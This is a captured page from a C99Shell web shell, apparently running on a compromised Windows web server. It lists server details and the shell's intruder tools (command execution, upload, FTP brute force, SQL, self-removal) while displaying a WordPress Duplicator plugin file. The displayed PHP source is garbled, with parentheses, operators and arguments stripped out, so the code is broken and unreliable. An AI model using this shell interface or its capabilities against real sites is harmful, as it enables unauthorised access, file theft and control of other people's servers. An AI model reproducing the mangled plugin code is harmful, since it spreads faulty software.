!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\duplicator\classes\   drwxrwxrwx
Free 3.24 GB of 39.52 GB (8.2%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     package.archive.php (6.63 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if ( ! defined'DUPLICATOR_VERSION' ) ) exit; // Exit if accessed directly

require_once (DUPLICATOR_PLUGIN_PATH 'classes/package.archive.zip.php');

class 
DUP_Archive {
    
    
//PUBLIC
    
public $FilterDirs;
    public 
$FilterExts;
    public 
$FilterOn;
    public 
$File;
    public 
$Format;
    public 
$PackDir;        
    public 
$Size 0;
    public 
$WarnFileSize = array();
    public 
$WarnFileName = array();
    public 
$Dirs  = array();
    public 
$Files = array();
    public 
$Links = array();
    public 
$OmitDirs  = array();
    public 
$OmitFiles = array();
    
    
//PROTECTED
    
protected $Package;
    
    
//PRIVATE
    
private $filterDirsArray = array();
    private 
$filterExtsArray = array();


    public function 
__construct($package) {
        
$this->Package   $package;
        
$this->FilterOn  false;
    }
    
    public function 
Build($package) {
        try {
            
            
$this->Package $package;
            
            if (!isset(
$this->PackDir) && ! is_dir($this->PackDir)) throw new Exception("The 'PackDir' property must be a valid diretory.");
            if (!isset(
$this->File)) throw new Exception("A 'File' property must be set.");
        
            
$this->Package->SetStatus(DUP_PackageStatus::ARCSTART);
            switch (
$this->Format) {
                case 
'TAR':            break;
                case 
'TAR-GZIP':     break;
                default:
                    if (
class_exists(ZipArchive)) {
                        
$this->Format 'ZIP';
                        
DUP_Zip::Create($this);
                    } else {
                        
//TODO:PECL and SHELL FORMATS
                    
}
                    break;
            }
            
            
$storePath "{$this->Package->StorePath}/{$this->File}";
            
$this->Size   = @filesize($storePath);
            
$this->Package->SetStatus(DUP_PackageStatus::ARCDONE);
        
        } catch (
Exception $e) {
            echo 
'Caught exception: ',  $e->getMessage(), "\n";
        }
    }
    
    public function 
GetFilterDirAsArray() {
        return 
array_map('DUP_Util::SafePath'explode(";"$this->FilterDirs, -1));
    }
    
    public function 
GetFilterExtsAsArray() {
        return 
explode(";"$this->FilterExts, -1);
    }
    
    
/**
     *  DIRSTATS
     *  Get the directory size recursively, but don't calc the snapshot directory, exclusion diretories
     *  @param string $directory        The directory to calculate
     *  @returns array                    An array of values for the directory stats
     *  @link http://msdn.microsoft.com/en-us/library/aa365247%28VS.85%29.aspx Windows filename restrictions
     */    
    
public function Stats() {
        
        
$this->filterDirsArray = array();
        
$this->filterExtsArray = array();
        if (
$this->FilterOn) {
            
$this->filterDirsArray $this->GetFilterDirAsArray();
            
$this->filterExtsArray $this->GetFilterExtsAsArray();
        }
        
        
$this->getDirs();
        
$this->getFiles();
        return 
$this;
    }
    
    
//Get All Directories then filter
    //SPL classes in dirsToArray_New are buggy on some PHP versions
    //Add back into code base once PHP 5.3.0 is minimum requirment
    
private function getDirs() {
        
        
$rootPath DUP_Util::SafePath(rtrim(DUPLICATOR_WPROOTPATH'//' ));
        
array_push($this->filterDirsArrayDUPLICATOR_SSDIR_PATH);
        
        
//If the root directory is a filter then we will only need the root files
        
if (in_array($this->PackDir$this->filterDirsArray)) {
            
$this->Dirs $this->PackDir;
        } else {
            
$this->Dirs = (DUPLICATOR_SCAN_USELEGACY)
                ? 
$this->dirsToArray_Legacy($rootPath)
                : 
$this->dirsToArray_New($rootPath);
            
array_push($this->Dirs$this->PackDir);
        }
        
        
//Filter Directories
        //Invalid test contains checks for: characters over 250, invlaid characters, 
        //empty string and directories ending with period (Windows incompatable)
        
foreach ($this->Dirs as $key => $val) {
            
//Remove path filter directories
            
foreach($this->filterDirsArray as $item) { 
                if (
strstr($val$item '/') || $val == $item) {
                    
$this->OmitDirs[] = $val;
                    unset(
$this->Dirs[$key]);
                    continue 
2;
                }
            }
            
            
//Locate invalid directories and warn
            
$name basename($val); 
            
$invalid_test strlen($val) > 250 
                            
||     preg_match('/(\/|\*|\?|\>|\<|\:|\\|\|)/'$name
                            ||     
trim($name) == "" 
                            
||  (strrpos($name'.') == strlen($name) - 1  && substr($name, -1) == '.');
            
            if (
$invalid_test) {
                
$this->WarnFileName[] = $val;
                
$this->OmitDirs[]     = $val;
            } 
        }
    }
    
    
//Get all files and filter out error prone subsets
    
private function getFiles() {
        foreach (
$this->Dirs as $key => $val) {
            
$files DUP_Util::ListFiles($val);
            foreach (
$files as $filePath) {
                
$fileName basename($filePath);
                
$valid true;
                if (!
is_dir($filePath)){
                    if (!
in_array(@pathinfo($filePathPATHINFO_EXTENSION), $this->filterExtsArray)  && is_readable($filePath)) {
                        
$fileSize = @filesize($filePath);
                        
$fileSize = empty($fileSize) ? $fileSize
                        if (
strlen($filePath) > 250 || preg_match('/(\/|\*|\?|\>|\<|\:|\\|\|)/'$fileName)|| trim($fileName) == "") {
                            
array_push($this->WarnFileName$filePath);
                            
$valid false;
                        } 
                        if (
$fileSize DUPLICATOR_SCAN_WARNFILESIZE) {
                            
array_push($this->WarnFileSize$filePath ' [' DUP_Util::ByteSize($fileSize) . ']');
                        }
                        if (
$valid) {
                            
$this->Size += $fileSize;
                            
$this->Files[] = $filePath;
                        } 
                        else {
                            
$this->OmitFiles[] = $filePath;
                        }
                    } else {
                        
$this->OmitFiles[] = $filePath;    
                    } 
                }
            }
        }
    }
    
    
//Recursive function to get all Directories in a wp install
    //Older PHP logic which shows to be more stable on older version of PHP
    
private function dirsToArray_Legacy($path) {
        
$items = array();
        
$handle opendir($path);
        if (
$handle) {
            while ((
$file readdir($handle)) !== false ) {
                if (
$file != "." && $file != "..") {
                    
$fullPath DUP_Util::SafePath($path"/" $file);
                    if (
is_dir($fullPath)) {
                        
$items array_merge($items$this->dirsToArray_Legacy($fullPath));
                        
$items[] = $fullPath;
                    }
                }
            }
            
closedir($handle);
        }
        return 
$items;
    }
    
    
//Recursive function to get all Directories in a wp install
    //Must use iterator_to_array in order to avoid the error 'too many files open' for recursion
    //Notes: $file->getExtension() is not reliable as it silently fails at least in php 5.2.17 
    //when a file has a permission such as 705 falling back to pathinfo is more stable
    
private function dirsToArray_New($path) {
        
$iterator = new RecursiveIteratorIterator(
            new 
RecursiveDirectoryIterator($pathRecursiveDirectoryIterator::SKIP_DOTS),
                
RecursiveIteratorIterator::SELF_FIRST,
                
RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied"
        
);
        
$files iterator_to_array($iterator);
        
$items = array();
        foreach (
$files as $file) {
            if (
$file->isDir()) {
                
$items[] = DUP_Util::SafePath($file->getRealPath());
            }
        }
        return 
$items;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0624 ]--